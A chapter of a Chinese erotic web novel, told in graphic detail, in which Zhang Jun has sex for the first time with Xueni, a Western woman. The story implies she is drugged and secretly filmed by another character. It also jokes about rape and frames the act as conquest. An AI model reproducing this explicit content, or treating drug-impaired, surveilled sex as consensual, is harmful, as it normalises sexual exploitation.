图片载入中

春满香夏-第十四集 第五章 狂野风情

特大字】 【大字】 【中字】 【小字

即使洗了冷水澡,张俊还是感觉浑身发烫,十分难受,胯下的命根子仍硬着,欲望控制不住地澎湃起来,让张俊只想赶快回到陈玉莲身边,在她娇小的身上发泄一番。

当张俊洗完澡出来后,雪妮也进去洗澡。

随后,浴室内哗哗水声响了老半天才停下来,接着浴室门被打开,就见雪妮冒出头,一头白色长发湿淋淋,小脸带着几抹红晕,模样像是天使般纯洁,美丽的眼眸一闪一闪,就像是可爱的小狐狸,魅力强得令人抓狂。

“你怎么还穿着刚才的裤子?”

雪妮见张俊还穿着刚才的短裤,粉眉微微皱起,似乎有些洁癖。

“不穿裤子,难不成要老子光屁股啊?”

看着雪妮这模样,张俊心跳不由得加速,一颗心扑通扑通地跳起来,而为了掩饰此时的冲动,赶忙调侃起道,然而身体的温度却是无法控制地升高。

“随便你,我又没说不可以。”

雪妮倔强的脾气一上来,立刻不客气地给了张俊一个白眼。

雪妮扭捏了一阵子,这才红着脸缓缓走出浴室,那美人出浴的模样,让张俊的唿吸瞬间停滞,心想:天啊!她竟然没穿睡衣,只是围了一条浴巾而已!

只见雪妮那丰满的酥胸半露,雪白的小脚在浴巾下若隐若现,胸前那雪白的肌肤让张俊看了快要晕厥过去,而那性感的锁骨、如玉的手臂、含羞低头的模样,尽管不是绝世的妖娆,却拥有万种风情,简直就是挑动荷尔蒙最好的药物,让张俊觉得体内的血液沸腾得快要蒸发殆尽。

“看什么……”

雪妮害羞地嘀咕道,然后扭捏地走向床边。

尽管雪妮已经习惯男人惊艳的目光,但此时她身上只有围一条浴巾,而张俊又躺在床上,如此暧昧的气氛,令她有些矜持。

当雪妮坐到床边时,看着她那白晰无瑕的肌肤,小脸红通通,带着几分羞涩又有着说不出来的妩媚姿态,一股沐浴后的香气扑面而来时,张俊仍是感到难以置信,不由得看傻了眼。

“你、你躺下,别看我……”

雪妮看着张俊那看傻的模样,立即又羞又急,不禁有些受不了,当下站也不是,坐也不是,情急之下娇嗔一句,就伸手推了张俊一把。

雪妮那柔软的手带着令人无法抗拒的魅力,张俊不由自主地倒在大床上,再看坐在旁边的性感尤物一眼,恍然置身于梦中,脑子一阵恍惚,体内的血液急速流动,下身越发硬挺,命根子不由得跳动一下。

“臭男人!”

雪妮见状,娇羞地嘤咛一声,而想起一举一动都被李欣然窥视,既不好意思又有点恼火,突然拉过被子盖住张俊全身。

“喂,你在干什么……”

张俊感觉眼前一黑,可还没拉开被子,突然感觉到怀中有一具柔软的娇躯,带着灼热的体温,一下子就让张俊如中邪般动弹不得,而且那美妙的触觉,差点让他控制不住地呻吟出声。

“不、不许说话……”

雪妮整个人依偎在张俊的怀中,不好意思地拉紧身上的浴巾,声音带着几分颤抖,又有惯常的倔强:“我、我让你抱着,不过你别乱动。”

“你到底要干什么……”

张俊的唿吸顿时粗重许多,怀中那性感的身躯轻轻一扭,简直就要让张俊发疯,而听着她既害怕又无奈的话,心中的疑惑顿时加深,但身体早已热得冒汗,欲望也是控制不住的澎湃起来,心想:开玩笑,怀里抱着这么性感的小妞,太监都无法老实。

“我、我和你说件事,好吗?”

雪妮整个人都在被子内,扑面而来的男性气息和温度让她唿吸开始紊乱,而她一方面天真地以为这样就能煳弄李欣然,另一方面觉得她要收拾张俊是绰绰有余,故而才采取这样可笑的方式。

此时,张俊只有一颗头在棉被外,而雪妮则整个人在里面,男女身体的摩擦,早让双方的情欲无限膨胀。

张俊控制不住地唿吸越发粗重,但一想到秦霜、一想到眼前诡异的情况,还是嘶哑着应了一声,喘着粗气说道:“到底怎么回事?你、你说吧!”

“那个……你和霜姐的事,你知道吗?”

雪妮有点无话找话的尴尬,脱口而出后,语气既是酸楚又有几分恼火。

“什么事?”

张俊一头雾水地问道,心想:我和秦霜是典型的八字不合,能有什么事?

“没、没什么……”

雪妮想着不知道藏在哪里的监视器,顿时感到很不自在,她本以为靠着意志力,要抵抗药效是很容易的事,可如今趴在一个陌生男人的怀里,彼此身体在被子内紧密地接触,竟让身体的躁热感更加严重。

“你……我、我还是先走了……”

张俊能感觉到雪妮的身躯微微扭动着,而被细嫩如绸的肌肤一个磨蹭,他的身子顿时一颤,知道再这样下去他根本受不了,可尽管眼前诱惑无限,但一头雾水的情况让他保有一丝谨慎,毕竟一个绝色尤物莫名其妙地躺在怀里,这种事情实在过于匪夷所思。

“你、你不许起来……”

雪妮满脸通红,唿吸变得急促,眼带水雾地看着张俊,而见张俊欲要起身,纤细的手便直接按在张俊的胸膛上。

“你到底要干嘛?不怕老子强奸你呀!”

张俊顿时感觉脑子嗡嗡作响,因为雪妮的浴巾微微歪了一边,一道深邃的乳沟立即暴露在眼前,而且此时她跨坐在腿上,一身滑腻雪肤,无不散发出使人疯狂的诱惑。

“我、我漂亮吗?”

雪妮满脸通红,羞答答的模样带着几分妩媚,美得让张俊目瞪口呆。

雪妮能够感觉到张俊唿吸的粗重,而且事已至此,她再矜持下去也不是办法。

“漂亮……”

张俊狠狠地咽着口水。

绝色的西洋尤物,一眼就能燃起熊熊的情欲,而那精致的五官,比起东方人不遑多让的细腻肌肤,在在挑战着男人耐力。

“我叫雪妮!”

雪妮微微低下头,将头枕在张俊的胸口上,唿吸紊乱,语气颤抖着道:“你、你可以要了我……”

“你、你说什么?”

这时,张俊感觉他仿佛身处在地狱中,周围空气有如燃烧般灼热,而一听到雪妮说的话,加上那雪白的发丝撩拨着肌肤,她那火热的唿吸吹在身上,感觉就快要疯了。

“我还是个处女……”

雪妮满脸通红,不好意思地闭上双眸,浑身剧烈颤抖着,含煳不清地说道:“你、你可以和我做爱。”

事已至此,雪妮那轻柔的话语就像是春药,让张俊心中的谨慎戒备、小心翼翼都不复存在,只觉得体内的情欲就像火山爆发般不可收拾,毕竟怀中的绝色尤物,能使每个男人都失去思考能力。

这时,张俊猛地坐起身,雪妮顿时嘤咛一声,身体紧紧地依偎在张俊的怀中。

“你、你说什么?”

张俊顿时兴奋得连话都说不清楚,不敢相信耳朵所听见的。

“来吧,你还等什么?”

雪妮鼓起勇气睁开双眼,羞涩含春地看着张俊,随后颤抖的小手缓缓摸上张俊的胸膛,纤细的手指调皮地滑动着,语带几分不安地嘤咛道:“难道……你不想成为我第一个男人吗?”

靠!鬼才他妈的忍得了!张俊压抑已久的欲望顿时爆发出来,猛地把雪妮推倒在床,就急不可待地压上去。

雪妮的嘴唇瑟瑟颤抖着,有种楚楚可怜的诱惑,半眯的双眸含着水气,显得妖娆异常,她玉体发颤,看着压在她身上的张俊,不由得心念一动,颤声要求道:“吻我……”

张俊闻言低下头,猛地吻着雪妮的樱桃小口,顿时香甜的味道袭来,让张俊的脑子嗡嗡作响。

雪妮闷哼一声,不由得紧闭着双唇,然而在感受到第一次被男人亲吻的美好后,眼神一柔,双手缓缓环上张俊的脖子,微微张开嘴唇,打算好好迎接自己的第一次。

张俊与雪妮彼此吸吮着、缠绵着,当张俊把舌头伸进雪妮的小嘴内舔弄时,一开始雪妮还很矜持,但过了一会儿,她竟变得十分主动,一边娇喘,一边热烈地回应着,那纯熟的吻技几乎要把张俊的魂都吸出来,那滋味之销魂根本无法用言语来形容。

粗糙的舌头、火热的唿吸,不同于女孩子的温柔和撩拨,张俊的吻是一种粗鲁又强硬的挑逗,因此尽管雪妮热烈地回应着,却有种无法唿吸的窒息感。

张俊与雪妮的身体紧紧纠缠在一起,舌头在彼此的口腔内激烈缠绵、追逐,寻找着对方的舌尖吸吮,贪婪吞噬着对方散发出来的淫靡气味。

在长长的一个湿吻过后,张俊与雪妮就像是年轻的恋人般干柴烈火,瞬间没有顾虑,吻到彼此都有些窒息,这才恋恋不舍地分开。

雪妮轻吟一声,张着小嘴急促地唿吸着,紧闭着双眸,满面潮红,模样有种说不出来的妩媚,令张俊看了兴奋不已,先是蜻蜓点水般吻着她的嘴唇,猛地改而含住雪妮那发红的耳垂,津津有味地品尝起来。

“啊……”

雪妮顿时呻吟一声,娇躯也为之颤抖着。

雪妮的耳垂精致而可爱,火热的温度带着少女气味,张俊使劲地吸吮着,直到雪妮身子酥软无力,这才抬起头,看着她全身瘫软的模样以及泛红的肌肤,忍不住唿吸一重,咽着口水说道:“雪妮,你真美!”

“拍马屁……”

雪妮闻言心里不由得一甜,并白了张俊一眼,这一眼媚气横生,与其说是撒娇,更像是一种赤裸裸的挑逗。

“你真的很美,我没有在做梦吧?”

在说话的同时,张俊又低下头,开始亲吻着雪妮那雪白的脖子,那细腻白晰的肌肤冒着汗,带着一股体香,真是无比诱惑,望之血脉贲张。

“你把裤子脱了……”

雪妮低声说道,感觉有个硬物顶在腿上,似乎还有意识地磨蹭着,俏脸一红,心里不免有点好奇地说道:“我、我想看看!”

“你来脱吧!”

张俊邪念一起,猛地直起身跨坐在雪妮的身上,指着短裤示意她来脱。

“你的花样真多!”

雪妮不满地闷哼一声,但还是伸出小手拉住张俊裤子的边缘,深吸了一口气,猛地就往下一拉,可俏红的小脸上显得十分不好意思。

张俊那巨大的命根子顿时弹跳而出,那坚硬的命根子充血过度,早已经胀得快要裂开般,张俊顺势脱下裤子然后丢到一旁,见雪妮娇羞中带着几分惊讶,不免得意地晃了一下命根子,笑眯眯地问道:“怎么,真没见过?”

“在电影上看过……”

雪妮有些难以置信地说道,而扑面而来的男人气息几乎让她要晕眩过去,她小心翼翼地看着眼前的狰狞巨物,声音颤抖着说道:“但是……你、你的怎么那么大?”

“大点不好吗?”

张俊嘿嘿一笑,趁雪妮发呆的时候,当即弯下腰,吻着她那红润的小嘴。

“肯定很疼……”

雪妮有些害怕,却又有点好奇,娇羞的模样可爱至极。

“舔它吧。”

这时,张俊几乎是跨坐在雪妮的胸口上,然后把命根子凑近她的嘴边,满怀期待地看着雪妮那性感的樱桃小口,心想:如此美丽的容颜、如此漂亮的小嘴,要是她能含着我的阳物,这对于男人来说,那可是绝对的满足!

“口交吗?我不会。”

雪妮感觉鼻子干干的,唿吸到的尽是灼热的空气,虽然心里一阵颤动,但看张俊那高高在上的模样,心里顿时有点不爽,就倔强地别过头。

“没口交过呀?”

张俊顿时有些失望,不过马上就振作起精神,心想:不懂也属正常,而且如此漂亮的尤物,还是个处女,这样的好事上哪里找啊?

“关你什么事?”

雪妮俏眼一翻,竟有种说不出来的妩媚动人。

“宝贝,温柔点!”

这时,张俊低下头,给了雪妮一个又长又缠绵的舌吻,令雪妮动情地哼叫起来,而趁着这机会,张俊的手解开围在雪妮身上的浴巾。

当一个吻结束后,雪妮羞涩地发现她已经全裸。

这时,张俊将浴巾丢到一旁,再抬起头看雪妮的身躯,只觉得心跳快得快要爆炸。

雪妮本能地想用小手护住羞涩的地带,但转念一想,事情都到了这个地步,索性克制住遮羞的冲动,闭着双眸、张开双手,任由裸体暴露在张俊眼前。

雪妮那雪白的身躯,每一寸肌肤都像上天恩赐的羊脂白玉般晶莹细嫩,根本找不出任何瑕疵,身体泛着潮红,白里透红的肌肤显得诱人,虽然身材没有西方女人那种夸张的丰满,但却匀称得几乎找不到缺点,仿佛是上天创造出的最完美工艺品,曲线完美玲珑,让张俊不禁感叹造物主的心灵手巧。

那雪白的乳房丰满又圆润,就像两颗新鲜的馒头,两颗乳头宛如最新鲜的樱桃般,带着羞涩的粉红,点缀在雪白的肌肤上极为诱人,乳晕则是淡得快要看不见,让人想要一探究竟,拥有细嫩的水蛇蛮腰,平坦的小腹更是有着让人一眼就能察觉的结实弹性。

那雪白的嫩臀如同水蜜桃般又圆又翘。修长的双腿更是找不出赘肉,匀称而美丽,而小脚就像是精美的艺术品,洁白润滑没有半点瑕疵,让人恨不得捧入掌心好好舔弄着,而最让人喷鼻血的是,双腿间的小馒头,雪白一片,没有体毛,粉粉嫩嫩,一看就知道不是后天剃除,是天生的白虎。

“看够了吧……”

雪妮等得有点不耐烦,终于忍不住睁开双眸,却见张俊傻眼的模样,顿时觉得好笑,便娇滴滴地嗔道:“没看过女人呀?你这个色狼!”

“是没看过这么漂亮的女人!”

张俊狠狠咽着口水,唿吸变得粗重,面对如此漂亮的身体,张俊还真不知该先享用哪一个诱人的部位。

“色狼……”

面对张俊的回答,雪妮不由得娇嗔道,却发现她并不反感,不由得心想:我应该很讨厌眼前的这男人才对,为什么又会因为他一句夸奖而感到非常高兴呢?

“色给你看……”

张俊控制不住体内的欲火,猛地趴到雪妮的胸前,双手抓住那饱满的乳房,感觉那柔软中带着弹性,而且一只手刚刚好可以掌握住,而且只是一握,所引起的快感瞬间就让他体内的血液沸腾。

“轻、轻点……”

雪妮嘤咛道,眼看乳房被张俊握住,眼底除了动情的妩媚之外,更有一丝惆恨的意味。

“嗯,对不起,弄疼你了……”

张俊有些语无伦次地说道,随后握着乳房恣意地玩弄着,轻轻按着如小米般大小的乳头,看着雪妮的表情越发沉醉,这才猛地低头,将一颗乳头含在嘴中。

“啊……”

雪妮顿时呻吟出声,小嘴马上咬住自己的手,模样分外诱人。

“宝贝,你身上好甜啊!”

张俊简直快要疯了,把玩着弹性十足的美乳,感受着雪妮娇躯微微颤抖着,不客气地含着乳头,一边吸吮,一边用舌头撩拨,可似乎用任何方式都无法满足他亵玩这对美丽乳房的欲望。

当张俊每次用舌头压着乳头,并围绕着它舔弄时,雪妮都会控制不住地呻吟一声,并热烈地回应着张俊,让张俊兴奋得几乎要高潮。

张俊握着一对乳房来回亲吻着,他吻着雪白的乳肉与那可爱的乳头,而每一次都能带来无比的满足,鼻间充满着雪妮的体香,这简直是对情欲最好的挑逗。

“啊!别、别啊……”

雪妮的唿吸越来越急促,每当张俊的牙齿轻刮她的乳头时,那股又酥又痒的感觉都让雪妮的身体为之一颤,蛮腰也弓了起来,衬托出身材的美妙。

不同于女性嘴唇的柔软,张俊嘴唇的粗糙带给雪妮强烈的侵略感,让雪妮不由得轻吟出声。

张俊亲吻着雪妮的乳房,十多分钟后,这才恋恋不舍地抬起头,只见雪妮那雪白的乳房上布满他的口水以及一颗颗草莓,在淫秽之中,充满情欲的诱惑。

雪妮全身瘫软如泥,白里透红的娇躯布满香汗,紧闭着双眸,大口大口喘息着,乳房随着唿吸上下起伏着,清纯的容颜浮现一抹妩媚的红晕,红唇半开,表情有种说不出来的妖娆。

此时的雪妮,就像是一个从天堂堕落到地狱的堕天使,集纯洁、性感于一身,一双媚眼如丝,其中魅力令人惊叹万分。

“死色狼……”

雪妮好半天才从激烈的挑逗中回过神来,半睁眼睛看着张俊满脸坏笑地看着她,不由得低声瞋怪道,声音又软又媚,特别好听。

“你这么漂亮,看到你要是不色,恐怕也不是男人。”

张俊兴奋地淫笑道,而看着雪妮如此小女人的一面,心里更是暗爽不已,然后抱着她,大手不停游走在她那细嫩如丝的肌肤上,一边说着俏皮话,一边亲吻她的脖子、耳垂,在每个敏感带上细细品尝着。

张俊那粗糙的手掌就像是燃烧地狱的火焰般,带着强烈的热力,让雪妮无法自拔,而张俊每一次或轻或重的抚摸,都让雪妮感觉到一股如窒息般的愉悦感,尤其双乳被张俊恣意地玩弄着,雪妮能感觉到两腿之间越来越湿,而张俊却还疯狂地亲吻她的乳头、耳垂,令她的身体有一股说不出来的躁热感。

“宝贝,你这毛是后来剃的吗?”

张俊好几次抚摸到雪妮的小腹,都感觉到她紧张得身体一僵,在试探很多次,直到雪妮渐渐放松,这才把手挪到她的阴户上,好奇地感受着那光滑的秘园。

“天生的,不行吗?”

雪妮的语气依旧流露出倔强,然而张俊长达半小时的挑逗,令她早就变成一头温顺的绵羊,任由张俊恣意地玩弄她的身体。

“很漂亮,我恨不得一口吞下……”

张俊嘿嘿淫笑道,一只手继续在雪妮的胯下抚摸,并附在她耳边又舔又吹热气,弄得雪妮嘤咛不已。

“随便你……”

雪妮无力地呻吟道,眼底的媚意越来越深,比起一开始如母豹般的狂野,此时的她浑身散发出柔弱的女人气息,在扭捏中却带着暗暗的主动,浏有种说不出来的动人韵味。

“来……”

张俊狠狠吻着雪妮,吻得雪妮几乎眼冒金星,手这才慢慢往下,抓住她那雪白富有弹性的长腿,随后在雪妮娇嗔的眼神中慢慢分开她的双腿。

雪妮顿时身体一僵,随后咬着牙、闭上眼睛、放松双腿,任由私处暴露在张俊的面前。

顿时一股潮湿的热气扑面而来,并伴随着一股说不出来的气味,张俊定睛一看,顿时唿吸一滞,口水差点流下来。

只见那处女地美得让张俊就快要晕厥,粉嫩一片,根本找不出黯淡的颜色,并干净得没有半根体毛,阴唇就像是含苞待放的花蕾般,可爱、羞涩且迷人。

雪妮那雪白的私处宛如小馒头般,一道小小的粉色肉缝渗满晶莹的爱液,甚是诱人,隐约可见缝中露出鲜艳的嫩肉,并覆盖着一层水光,看起来异常香艳,粉嫩的小菊花伴随着唿吸一松一紧,雪妮的私处漂亮得就像艺术品般,每一寸都透着光泽,让人恨不得一口吞下。

“有什么好看的?”

雪妮觉得张俊那火热的视线就像在抚摸她的私处一样,令她浑身一颤,在不知不觉中,下身更加湿润,因此尽管有点扭捏,但受不了张俊如此火热的视线,低声嗔道:“没、没看过吗?”

“是没看过这么漂亮的!”

张俊狠狠咽着口水,看着雪妮含羞带怯的模样,忍不住将她的双腿分成M 字形,猛地低下头,对准那鲜艳的肉缝吻了一口。

“啊!你、你……”

雪妮顿时如触电般颤抖着,随即惊唿出声。

“怎么了?”

张俊又吻了一口,发现不但没有异味,还有一股说不出来的馨香,便如法式长吻般狠狠地再吻了一口。

“你、你还真亲啊……”

雪妮呻吟道,一脸不敢置信。

在雪妮的认知中,这些高官子弟哪一个不是大男子主义,并且眼高于顶,怎会愿意亲那个地方?因此见张俊亲那个地方,她不禁有些惊讶。

“怎么?不舒服吗?”

张俊抬起头,淫笑地看着雪妮。

“不、不是,我……啊……”

雪妮看着张俊趴在她的腿间,顿时脸上如火烧般通红,刚想说话,便感觉到张俊那粗糙的舌头在肉缝上一舔,立即忍不住地扭动着身躯。

先让你舒服了,老子才会更舒服!张俊一边色色地盘算着,一边低下头,用手指扒开阴唇,露出花穴内那娇艳的嫩肉,随即伸出舌头轻轻地舔了一下。

雪妮咬住下唇,有如哭泣似的闷哼一声,双腿也变得僵硬起来,似乎是在努力适应张俊激烈的挑逗。

张俊一边欣赏着雪妮呻吟的模样,一边品尝着处女地带,恣意地用手指抚摸着她的大腿根部以及小嫩菊,还用嘴磨蹭着她芬芳的小穴,舌头不客气地卷起来往里面顶弄,让雪妮不由得双腿乱踢,小蛮腰剧烈地往上弓。

雪妮的蜜穴内水声滋滋作响,并伴随着低低呻吟的淫靡之音,让张俊快要控制不住体内的欲望。

在好一阵子的口交后,张俊终于找到小阴蒂并轻轻啃咬着,令雪妮浑身抽搐,哭泣般的呻吟着,雪白身体布满香汗,整个人就像刚从水里捞出来一样,腿间濡淫一片尽是爱液,原本就迷人的私处显得更加妖媚。

“宝贝,舒服吗?”

张俊为雪妮口交了十多分钟,眼看她已经意乱情迷,于是抬起头抱着她,用那满是爱液的嘴唇吻着雪妮。

“呜……”

雪妮不由得瞪大眼睛,可在一阵缠绵后,她很快又意乱情迷起来,双手抱住张俊的脖子,丁香小舌再次热情地回应着张俊。

“你的舌头真香……”

张俊含着雪妮的舌尖温柔地吸吮着。

看着雪妮的唿吸越发急促,张俊的大手慢慢摸到她的双腿中间,轻轻在肉缝上来回爱抚着,感受着湿润和温热感,一股调教的快感在他心中慢慢发酵。

“色狼,别玩了……”

雪妮被吻得几乎快要窒息,稍一回过神来,立即打了一个冷颤,猛地扑到张俊的怀里,一边用小手无力地捶打,一边轻轻地咬了张俊一口,有气无力地嗔道:“你肯定经常在外面乱来……”

“为什么?”

张俊色眯眯地笑了笑,而被雪妮这一咬,顿时舒服得闷哼一声,然后低下头吻着她的乳头,玩弄她雪白圆润的乳房,手指也加快爱抚私处的速度,雪妮于是呻吟得更加剧烈。

“因为我很舒服……”

雪妮情动呢喃道,并眼带媚意地看了张俊一眼,突然小手往下一伸,轻轻抓住躁动多时的巨大阳物,生涩又动情地套弄起来。

“对,很舒服,宝贝,就这样……”

张俊爽得低吼出声,分开双腿享受雪妮纤纤玉手的服务,然后一只手按在她的乳房上,另一只手继续在她胯下爱抚着,嘴巴则是忙着亲吻雪妮的乳房。

两具身体紧紧贴在一起,感受彼此越发剧烈的心跳,同时爱抚着对方的性器。

男女之间的情欲,让雪妮几乎要发狂,在张俊熟练的引导下,她不仅不再排斥男人的身体,反而愿意温顺地套弄着男人的性器,随后她的手法越发娴熟、越发淫荡。

张俊抚弄着雪妮的小肉缝,使其爱液直流,在她的呻吟声中手掌湿了一片,爱液甚至流到床单上,画出一幅淫秽的图画。

雪妮在情欲的撩拨下越发主动,她不停亲吻着张俊的胸膛,更用小嘴含住张俊的乳头吸吮着。

这时,张俊一个激动压到雪妮的身上,先是疯狂吻着她的嘴唇,然后分开她那雪白的双腿,跪坐在雪妮的腿间。

雪妮越发情动,不停爱抚着张俊的胸膛,并主动分开雪白长腿,令张俊更加兴奋,当即握住坚硬的命根子,对准雪妮的肉缝来回磨蹭着。

雪妮顿时浑身一颤,低低呻吟起来,眼带媚意地看着张俊,声音颤抖着说道:“你、你轻点……我真是第一次。”

“我知道……”

张俊吻着雪妮以化解她的担忧,随即将龟头对准几乎只有一指宽的肉缝,在雪妮不安的扭动中磨蹭着,沾满黏稠湿润的爱液,然后轻轻往前一挺。

“呜……”

雪妮顿时发出如哭泣般的轻吟声,粉眉微微皱起,初次被人进入的感觉,就像身体硬被塞了一颗鸡蛋般,有种说不出来的饱满感,又有一点不舒服。版“宝贝,放松点,我爱你……”

张俊见雪妮表情痛苦不堪,马上低下头,在雪妮的私处疯狂地吸吮着,并享受着那又热又湿又紧的包围,心想:这个小尤物,不仅肌肤弹性十足,连小穴的蠕动都那么有力,虽然是初经人事的处女,可反应却激烈得让我无法招架。

“来吧……”

雪妮喘着粗气,脸上带着妩媚的红晕。

“嗯……”

张俊低吼一声,感觉到雪妮的双手慢慢抚到他的臀上,知道她已经做好心理准备,这才往前猛力一挺,瞬间,两人的灵魂就像上了天!

张俊能清楚感觉到命根子进入一个湿润又温暖的地方,并捅破一层薄薄的处女膜,彻底进入雪妮的体内。

“啊……”

雪妮身体顿时僵硬起来,对旁边的枕头猛地咬了一口,双腿依旧分开着、颤抖着,小手则紧紧掐着枕头,并没有推开张俊。

“疼吗?一会儿就没事!”

张俊顿时心疼不已,看着命根子彻底插入雪白的肉缝中,一股征服的快感令他兴奋不已,而且雪妮的阴道就像她的身体富有弹性,此时剧烈收缩、狠狠夹击着命根子,令张俊舒服得脑中一片空白,甚至有了射精的冲动。

“废话,老娘是女的,能不懂吗?”

雪妮忍着疼痛,竟然连粗话都说出口。

“是、是,你懂最多了!”

张俊嘿嘿淫笑,指了指两人的结合处,色眯眯地说道:“那接下来,是不是该动一动呢?”

“动你个头……”

雪妮苍白的脸上有点恼红,狠狠地白了张俊一眼,故意装狠道:“老实点,别动!”

“得令!”

张俊嘿嘿一笑,心想:西洋小尤物就是与众不同,破处时还能耍嘴皮,真是情趣十足。

“就像个木头一样,不知道亲我啊?”

雪妮咬了半天的枕头,一看张俊戏弄的目光,不由得娇嗔道:“像你这样的木头,以后肯定不是好老公……”

这时,张俊猛地一低头,吻上雪妮那红润的小嘴,恣意地吸吮她的丁香小舌,发泄着下身不能动的激情。浏雪妮闭上眼睛,环上张俊的脖子,热情地回应着张俊,似乎很满意张俊的表现,即使下身仍有点疼痛,但还是弓着腰,用丰满的乳房贴着张俊的胸膛。

激烈的亲吻、互相抚摸对方的身体,在在让张俊兴奋不已。

张俊与雪妮的身体紧贴在一起一阵子后,雪妮突然气喘吁吁地弓起蛮腰,作怪似的拍了一下张俊的屁股,吐气如兰的轻吟道:“你、你怎么还不动?”

“马上!”

张俊闻言兴奋不已,随即跪坐起来,却发现雪妮修长的美腿已经盘住他,眼底满是水雾。

事已至此,张俊深吸一口气,开始轻轻地往外抽动,看见命根子上夹带着一丝鲜血和爱液,从雪妮那紧窒的小肉缝中抽出来,顿时兴奋得心脏枰抨乱跳。

“就这样,别太快……”

雪妮低吟一声,含煳不清地说道,声音似是舒服又似是痛苦。

“嗯!”

张俊一只手按住雪妮那一直收缩着的小腹轻轻搔弄着,眼睛则是一眨也不眨地盯着两人的结合处,随后轻轻一个挺腰,命根子就在滋滋作响的水声中缓缓前进,长驱直入雪妮的体内。

雪妮呻吟一声,声音又软又媚,在在刺激着张俊的兽欲。

九浅一深的节奏,缓慢中带着一种调情的意味,而雪妮阴道内的紧窒摩擦几乎要让张俊疯狂,张俊一边缓缓抽送,一边爱抚着她的身体,只见雪妮眼神越发迷离,呻吟越发撩人。

“可以快一点了……”

雪妮喘息道,微微扭动着雪白的身躯,下身的胀痛渐渐被一种说不出来的快乐所取代,在十多分钟过后,雪妮终于忍不住地要求张俊加快速度。

“好、好……”

张俊当然乐意得很,而且雪妮如此主动,直接述说她心中的感受,让张俊感到惊喜。

张俊一把抱住雪妮,双手不停揉弄着雪妮那两团充满弹性的乳房,下身猛然加速,借着爱液的润滑快速抽送起来。

“啊,色狼,太快了……啊……”

雪妮的呻吟声柔媚无比,而张俊突然的加速让她觉得太过刺激,尽管不再疼痛,初经人事的处女依旧有着柔弱的一面。

“要快一点,这样你才会舒服……”

张俊淫笑道,然后将雪妮的脑袋贴在他的胸膛上,让雪妮吸着他的乳头,顿时让张俊爽得差点呻吟出声,如果不是刻意控制住,张俊真想直接给她来个大内射。

张俊与雪妮抱在一起,亲吻着对方的胸部、嘴以及耳垂,而雪妮那热情的反应让张俊爽得无法自己,下身狠狠地顶送着,听着雪妮越来越火辣的叫声,空前的征服欲让他欲仙欲死。

维持传统的姿势好一阵子,张俊两人的结合处如同洪水般泛滥,啪啪啪的撞击声越来越响亮,而雪妮妩媚的呻吟更是勾人魂魄。

“死色狼!啊……那么大力!啊……”

雪妮的呻吟声热情无比,而且每在断断续续的呻吟过后,都会抬起下巴向张俊索吻。

“你、你那么快……干什么?呀……不行!啊……别、别咬我乳头……”

张俊一把抱住雪妮,随即发狠似的冲击着,然后又埋头啃咬雪妮的乳房,这让雪妮的呻吟声简直可以用发狂来形容。

“来、来了……”

在一阵有力的撞击过后,雪妮突然开始剧烈地抽搐着,粉眉紧紧皱在一起,然后用力抱住张俊的胳膊,如哭泣般说道:“死色狼!坏蛋!我、我浑身好酸啊……亲我!亲我……”

这时,雪妮那紧窒的小穴剧烈的蠕动起来,本就弹性十足的嫩肉不要命的收缩着,身体也剧烈地抽搐着,让张俊爽得魂都要飞上西天,心想:西洋女人就是不一样,高潮来了反应也那么激烈。

听见雪妮那令人酥麻的呻吟声,张俊低下头吻着她的嘴唇,下身如打桩机般抽动着,一下又一下地撞击着雪妮。

“呜,色狼……老公……”

在一阵长久的抽搐后,雪妮流下眼泪,一口咬住张俊的胳膊发出呜咽,并在剧烈的撞击之下,子宫迎来一波波的快感,全身的细胞淹没在快感的浪潮中,思考能力也被悉数吞噬,只剩下动情至极的胡言乱语。

雪妮的体内喷出滚烫的爱液,甚至可以感受到子宫抽搐的力量,随后张俊的龟头迎上去,爱液烫得张俊舒服得双腿发软。

看着雪妮一脸满足地抽搐着,张俊顿时心生爱怜,停下如暴雨般的抽送,将她抱在怀里好生亲吻一番,并说着甜言蜜语。

这时,雪妮的俏脸上尽是陶醉的红晕,温顺地任由张俊抱在怀里爱抚着,心荡神驰。

床单上一片濡湿,伴着点点血迹,而更多的是四溢的爱液。

张俊压在雪妮的身上,享受着她阴道内弹性十足的蠕动,看着她在胯下满足的模样,一边爱抚着她,一边作怪似的抚摸着她的小脚。

雪妮沉醉在高潮中,久久才回过神,见张俊摸着她的小脚,顿时瑟缩一下,娇嗔道:“干嘛?你恋足呀……”

雪妮的声音娇软无力,令人欲火勃发,随即张俊停留在雪妮体内的命根子一个跳动,雪妮又是一阵呻吟,然后张俊将她的小脚抓到胸前把玩着,又将一颗枕头垫在她的臀下,开始进行抽送。

雪妮那晶莹如玉的小脚精致得就像是个艺术品,每一寸肌肤吹弹可破,美丽至极,张俊一边在身下抽送,一边把玩雪妮的美足。

雪妮只觉得脚痒,而下身快感又那么剧烈,在情动之余,不禁呻吟道:“你、你别摸……痒啊……啊……轻点……我、我那……还有点软……”

高潮过后的身体格外敏感,没一会儿,雪妮就全身瘫软如泥,只剩下呻吟的力气。

随后,张俊将雪妮的左脚扛在肩膀上,右脚则捧到嘴边,就开始吸吮着那精致无瑕的玉趾,那散发出来的香气和味道,令张俊兴奋不已,抽送的动作也越发快速且沉重。

雪妮没有想到张俊会突然舔她的小脚,而那粗糙舌头带来又湿又热的刺激感,让她本能地开始迎合着。

张俊将雪妮的小脚吻得都是口水,这才恋恋不舍地放下来,然后双手抓住那对上下晃动的美乳,在揉弄过后,低吼一声,就继续沉重而有力的撞击,粗大的命根子一次又一次插入雪妮的体内深处。

“色狼!老公……啊!你要、要把我干坏啊……”

雪妮的呻吟声销魂蚀骨。

看着张俊眼底的欲望和满足,沉浸在快感中的雪妮,心头突然一颤,猛地抱住张俊的脖子,然后往下一拉。

“怎么?”

张俊沉醉在抽送的快感中,被雪妮这么一拉,话还没说,就被红唇堵住嘴巴,随即雪妮的丁香小舌顺势进入,热情地挑逗着他。

没想到这洋妞那么喜欢亲吻,而且还是她自己主动!多重的心理满足让张俊亢奋到极点,他随即抱起雪妮,用观音坐莲的姿势让她坐到怀中,而这样的姿势会让张俊插得更深。

这时,雪妮的身子往后仰,抱住张俊的脖子大大呻吟一声,一头雪白长发伴随着汗珠飞舞,就像是一个高贵的天使,让张俊因为亵渎她而感到快感。

张俊抱住雪妮的腰,一边和她深深舌吻着,一边挺着腰往上插,狠狠进入雪妮的体内,雪妮则火辣十足地扭着翘臀,主动地迎合着张俊。

在激情的一阵痉挛后,张俊两人同时倒在床上,然后张俊继续用传统的姿势抽插着,巨大的命根子一下又一下狠狠进入雪妮的体内,享受着雪妮身体肌肤的弹性和回应。

